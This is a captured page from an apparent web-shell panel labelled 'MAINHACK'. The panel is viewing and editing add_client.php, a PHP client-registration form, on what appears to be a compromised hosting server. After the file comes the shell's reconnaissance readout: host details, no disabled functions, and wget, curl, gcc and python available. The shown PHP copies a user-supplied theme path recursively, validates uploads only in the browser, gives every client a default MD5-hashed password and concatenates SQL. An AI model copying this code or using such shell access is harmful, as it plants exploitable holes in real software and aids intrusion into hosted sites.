[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: add_client.php
<?php include 'header.php' ; $show=new Oops($db); ?> <style type="text/css"> #fli,#fli1 { } #display { position:absolute; width:315px; margin-left:0; margin-top:0px; max-height:300px; padding:2px; display:none; border-top:0px; overflow:auto; border:1px #CCC solid; background-color: white; z-index:1000; } .show,.show1 { padding:7px; border-bottom:1px #999 dashed; font-size:15px; } .show:hover,.show1:hover { background:#4f52ba; color:#FFF; cursor:pointer; } .widget{ overflow:visible !important; } </style> <script> function fileValidation(a){ var fileInput = document.getElementById(a); var filePath = fileInput.value; var allowedExtensions = /(\.jpg|\.jpeg|\.png|\.gif|\.pdf)$/i; if(!allowedExtensions.exec(filePath)){ alert('Please upload file having extensions .jpeg/.jpg/.png/.gif/.pdf only.'); fileInput.value = ''; return false; }else{ //Image preview if (fileInput.files && fileInput.files[0]) { var reader = new FileReader(); reader.onload = function(e) { document.getElementById('imagePreview').innerHTML = '<img src="'+e.target.result+'"/>'; }; reader.readAsDataURL(fileInput.files[0]); } } } </script> <div id="page-wrapper"> <div class="main-page"> <div class="row"> <div class="form-grids row widget-shadow" data-example-id="basic-forms"> <div class="form-title"> <h4>Client Entry :</h4> </div> <div class="form-body"> <form method="post" enctype="multipart/form-data"> <div class="col-md-3"> <div class="form-group"> <label>Company Name</label> <input type="text" class="form-control" id="com_name" name="company_name" placeholder="Company Name" required> </div> </div> <div class="col-md-3"> <div class="form-group"> <label>Company Website</label> <input type="text" class="form-control" id="com_name" name="company_website" placeholder="Company Website"> </div> </div> <div class="col-md-3"> <div class="form-group"> <label>GSTIN</label> <input type="text" class="form-control" name="gstin" id="gstin" placeholder="GSTIN"> </div> </div> <div class="col-md-3"> <div class="form-group"> <label>Email ID</label> <input type="text" class="form-control" name="email" id="gstin" placeholder="Email ID" > </div> </div> <div class="col-md-3"> <div class="form-group"> <label>Contact Name 1</label> <input type="text" class="form-control" name="contact_person1" placeholder="Contact Name 1" > </div> </div> <div class="col-md-3"> <div class="form-group"> <label for="exampleInputEmail1">Contact Phone 1</label> <input type="text" class="form-control" name="phone1" placeholder="Contact Phone 1" > </div> </div> <div class="col-md-3"> <div class="form-group"> <label>Contact Name 2</label> <input type="text" class="form-control" name="contact_person2" placeholder="Contact Name 2" > </div> </div> <div class="col-md-3"> <div class="form-group"> <label for="exampleInputEmail1">Contact Phone 2</label> <input type="text" class="form-control" name="phone2" placeholder="Contact Phone 2"> </div> </div> <div class="col-md-6"> <div class="form-group"> <label>Address</label> <input type="text" class="form-control" name="address" id="address" placeholder=" Address" > </div> </div> <div class="col-md-2 pr-1"> <div class="form-group"> <label>State</label> <select name="state" class="form-control"> <option value="">Choose</option> <?php $stmt=$show->state('state_list'); $r=$stmt->rowCount(); if($r>0){ while ($row = $stmt->fetch(PDO::FETCH_ASSOC)){ echo "<option value='".$row['state']."'>".$row['state']."</option>"; } } ?> </select> </div> </div> <div class="col-md-2 pr-1"> <div class="form-group"> <label>City</label> <input type="text" class="form-control" name="city" placeholder="City"> </div> </div> <div class="col-md-2 pl-1"> <div class="form-group"> <label>Postal Code</label> <input type="number" class="form-control" name="pincode" placeholder="ZIP Code"> </div> </div> <h4>Choose the Theme</h4> <div class="col-md-4"> <img src="images/thumbail1.png" width="100px" height="100px"> <input type="radio" class="form-control" name="theme" value="../sample_html" required> </div> <div class="col-md-4"> <img src="images/thumbail2.png" width="100px" height="100px" required> <input type="radio" class="form-control" name="theme" value="../sample_html2" > </div> <div class="col-md-4"> <img src="images/thumbail3.png" width="100px" height="100px" required> <input type="radio" class="form-control" name="theme" value="../sample_html3"> </div> <h4>Bank Details</h4><hr> <div class="col-md-3 pr-1"> <div class="form-group"> <label>A/c Name</label> <input type="text" class="form-control" name="ac_name" placeholder="A/c Name"> </div> </div> <div class="col-md-3 pr-1"> <div class="form-group"> <label>A/c NO</label> <input type="text" class="form-control" name="ac_no" placeholder="A/c NO"> </div> </div> <div class="col-md-2 pr-1"> <div class="form-group"> <label>IFSC Code</label> <input type="text" class="form-control" name="ifsc_code" placeholder="IFSC Code"> </div> </div> <div class="col-md-4 pr-1"> <div class="form-group"> <label>Bank Name</label> <input type="text" class="form-control" name="bank_name" placeholder="Bank Name"> </div> </div> <div class="col-md-3 pr-1"> <div class="form-group"> <label>Branch</label> <input type="text" class="form-control" name="branch" placeholder="Branch"> </div> </div> <div class="clearfix"></div> <h4>ADD Documents</h4> <div class="col-md-4"> <div class="form-group"> <label> Company Logo : </label> <input type="file" name="logo" id="logo" onchange="return fileValidation('logo')" > </div> </div> <div class="col-md-4"> <div class="form-group"> <label> Aadhar photo : </label> <input type="file" name="aadhar" id="aadhar" onchange="return fileValidation('aadhar')" > </div> </div> <div class="col-md-4"> <div class="form-group"> <label> Pan photo : </label> <input type="file" name="pan" id="pan" onchange="return fileValidation('pan')" > </div> </div> <div class="col-md-4"> <div class="form-group"> <label> Trade License : </label> <input type="file" name="trade" id="trade" onchange="return fileValidation('trade')" > </div> </div> <div class="col-md-4"> <div class="form-group"> <label> PassBook Front Page Image : </label> <input type="file" name="bank" id="bank" onchange="return fileValidation('bank')" > </div> </div> <div class="clearfix"></div> <button type="submit" class="btn btn-warning btn-fill pull-right" name="sub">Submit</button> </form> <?php if(isset($_POST['sub'])){ $uid=$show->getid('ids','PRO'); $table='client'; $com=explode(' ',$_POST['company_name']); $username=$com[0].rand(10,1000)."_".$uid; $destination_dir = "../".$username; if(is_dir($destination_dir)==false){ mkdir("$destination_dir", 0755); // Create directory if it does not exist } function recursive_files_copy($source_dir, $destination_dir) { // Open the source folder / directory $dir = opendir($source_dir); // Create a destination folder / directory if not exist @mkdir($destination_dir); // Loop through the files in source directory while($file = readdir($dir)) { // Skip . and .. if(($file != '.') && ($file != '..')) { // Check if it's folder / directory or file if(is_dir($source_dir.'/'.$file)) { // Recursively calling this function for sub directory recursive_files_copy($source_dir.'/'.$file, $destination_dir.'/'.$file); } else { // Copying the files copy($source_dir.'/'.$file, $destination_dir.'/'.$file); } } } closedir($dir); } $source_dir = $_POST['theme']; echo $source_dir; recursive_files_copy($source_dir, $destination_dir); $data=array( 'client_id'=>$uid, 'company_name'=>$_POST['company_name'], 'company_website'=>$_POST['company_website'], 'gstin'=>$_POST['gstin'], 'email'=>$_POST['email'], 'contact_person1'=>$_POST['contact_person1'], 'phone1'=>$_POST['phone1'], 'contact_person2'=>$_POST['contact_person2'], 'phone2'=>$_POST['phone2'], 'address'=>$_POST['address'], 'state'=>$_POST['state'], 'city'=>$_POST['city'], 'pincode'=>$_POST['pincode'], 'created_at'=>date('Y-m-d'), 'updated_by'=>'Admin', 'password'=>md5('123456'), 'status'=>'Active', 'ac_name'=>$_POST['ac_name'], 'ac_no'=>$_POST['ac_no'], 'ifsc_code'=>$_POST['ifsc_code'], 'branch'=>$_POST['branch'], 'bank_name'=>$_POST['bank_name'], 'directory_name'=>$username ); // print_r($data); $r=$show->insert($table,$data); if(isset($_FILES['aadhar']['name'])) { $img=$show->imageEdit($_FILES['aadhar']['name']); if(move_uploaded_file($_FILES['aadhar']['tmp_name'],"../documents/".$img)){ $sq="update client set aadhar='".$img."' where client_id='".$uid."'"; $stmt=$con->prepare($sq); $r1=$stmt->execute(); } } if(isset($_FILES['pan']['name'])) { $img=$show->imageEdit($_FILES['pan']['name']); if(move_uploaded_file($_FILES['pan']['tmp_name'],"../documents/".$img)){ $sq="update client set pan='".$img."' where client_id='".$uid."'"; $stmt=$con->prepare($sq); $r2=$stmt->execute(); } } if(isset($_FILES['trade']['name'])) { $img=$show->imageEdit($_FILES['trade']['name']); if(move_uploaded_file($_FILES['trade']['tmp_name'],"../documents/".$img)){ //unlink($path); $sq="update client set trade='".$img."' where client_id='".$uid."'"; $stmt=$con->prepare($sq); $r3=$stmt->execute(); } } if(isset($_FILES['bank']['name'])) { $img=$show->imageEdit($_FILES['bank']['name']); if(move_uploaded_file($_FILES['bank']['tmp_name'],"../documents/".$img)){ // unlink($path); $sq="update client set bank='".$img."' where client_id='".$uid."'"; $stmt=$con->prepare($sq); $r4=$stmt->execute(); } } if(isset($_FILES['logo']['name'])) { $img=$show->imageEdit($_FILES['logo']['name']); if(move_uploaded_file($_FILES['logo']['tmp_name'],"../documents/".$img)){ $sq="update client set logo='".$img."' where client_id='".$uid."'"; //echo $sq; $stmt=$con->prepare($sq); $r5=$stmt->execute(); } } if($r){ echo "<script>sweetAlert('Ok','New Client has been added.Directory name is ".$username." Default Password:123456','success');</script>"; }else{ echo "ss"; } } ?> </div> </div> </div> </div> </div> <?php include 'footer.php' ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 677.49 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619